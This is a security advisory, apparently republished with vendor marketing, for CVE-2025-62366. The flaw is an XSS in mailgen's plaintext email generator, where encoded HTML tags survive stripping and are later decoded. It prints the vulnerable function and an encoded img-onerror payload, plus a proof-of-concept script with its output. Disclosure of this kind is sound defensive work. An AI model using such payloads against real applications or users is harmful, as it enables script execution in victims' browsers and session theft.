CVE-2025-62366

CVE-2025-62366 is a low-severity cross-site scripting (XSS) vulnerability in mailgen (npm), affecting versions <= 2.0.30. It is fixed in 2.0.31.

Summary

An HTML injection vulnerability in plaintext emails generated by Mailgen has been discovered. Your project is affected if you use the Mailgen.generatePlaintext(email) method and pass in user-generated content. The issue was discovered and reported by Edoardo Ottavianelli (@edoardottt).

Details

The following function (inside index.js) is intended to strip all HTML content to produce a plaintext string.

// Plaintext text e-mail generator
Mailgen.prototype.generatePlaintext = function (params) {
    // Plaintext theme not cached?
    if (!this.cachedPlaintextTheme) {
        throw new Error('An error was encountered while loading the plaintext theme.');
    }
   
    // Parse email params and get back an object with data to inject
    var ejsParams = this.parseParams(params);

    // Render the plaintext theme with ejs, injecting the data accordingly
    var output = ejs.render(this.cachedPlaintextTheme, ejsParams);

    // Definition of the <br /> tag as a regex pattern
    var breakTag = /(?:\<br\s*\/?\>)/g;
    var breakTagPattern = new RegExp(breakTag);

    // Check the plaintext for html break tag, maintains backwards compatiblity
    if (breakTagPattern.test(this.cachedPlaintextTheme)) {
        // Strip all linebreaks from the rendered plaintext
        output = output.replace(/(?:\r\n|\r|\n)/g, '');

        // Replace html break tags with linebreaks
        output = output.replace(breakTag, '\n');

        // Remove plaintext theme indentation (tabs or spaces in the beginning of each line)
        output = output.replace(/^(?: |\t)*/gm, "");
    }

    // Strip all HTML tags from plaintext output
    output = output.replace(/<.+?>/g, '');

    // Decode HTML entities such as &copy;
    output = he.decode(output);

    // All done!
    return output;
};

The process fails because it searches for HTML tags and attempts to strip them from the input. However, if the HTML tags are encoded, they are not removed. These encoded tags are then decoded later and become valid HTML content, which can lead to XSS vulnerabilities.

A valid payload is: &ltimg src=xyz onerror=alert(1)&gt.

PoC

var Mailgen = require('mailgen');

// Configure mailgen by setting a theme and your product info
var mailGenerator = new Mailgen({
    theme: 'default',
    product: {
        // Appears in header & footer of e-mails
        name: 'Mailgen',
        link: 'https://mailgen.js/'
        // Optional product logo
        // logo: 'https://mailgen.js/img/logo.png'
    }
});

var email = {
    body: {
        name: 'John &ltimg src=x onerror=alert(document.body.innerHTML)&gt Appleseed',
        intro: 'Welcome to Mailgen! We\'re very excited to have you on board.',
        action: {
            instructions: 'To get started with Mailgen, please click here:',
            button: {
                color: '#22BC66', // Optional action button color
                text: 'Confirm your account',
                link: 'secret-link'
            }
        },
        outro: 'Need help, or have questions? Just reply to this email, we\'d love to help.'
    }
};

var emailText = mailGenerator.generatePlaintext(email);
require('fs').writeFileSync('emailText.html', emailText, 'utf8');

Resulting output file (emailText.html):

Hi John <img src=x onerror=alert(document.body.innerHTML)> Appleseed,

Welcome to Mailgen! We're very excited to have you on board.        

To get started with Mailgen, please click here:        
secret-link            

Need help, or have questions? Just reply to this email, we'd love to help.        

Yours truly,  
Mailgen

© 2025 Mailgen. All rights reserved.

Credits

Edoardo Ottavianelli (@edoardottt)

Impact

Depending on the context/environment where the plaintext message is used, if HTML is rendered and executed can result in arbitrary code execution in the browser of the victim (potentially stealing secrets or sensitive information contained in the message).

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

Affected versions

mailgen (<= 2.0.30)

Security releases

mailgen → 2.0.31 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade mailgen to 2.0.31 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2025-62366? CVE-2025-62366 is a low-severity cross-site scripting (XSS) vulnerability in mailgen (npm), affecting versions <= 2.0.30. It is fixed in 2.0.31. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
  2. Which versions of mailgen are affected by CVE-2025-62366? mailgen (npm) versions <= 2.0.30 is affected.
  3. Is there a fix for CVE-2025-62366? Yes. CVE-2025-62366 is fixed in 2.0.31. Upgrade to this version or later.
  4. Is CVE-2025-62366 exploitable, and should I be worried? Whether CVE-2025-62366 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2025-62366 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2025-62366? Upgrade mailgen to 2.0.31 or later.

Other vulnerabilities in mailgen

CVE-2025-62380CVE-2025-62366

Stop the waste.
Protect your environment with Kodem.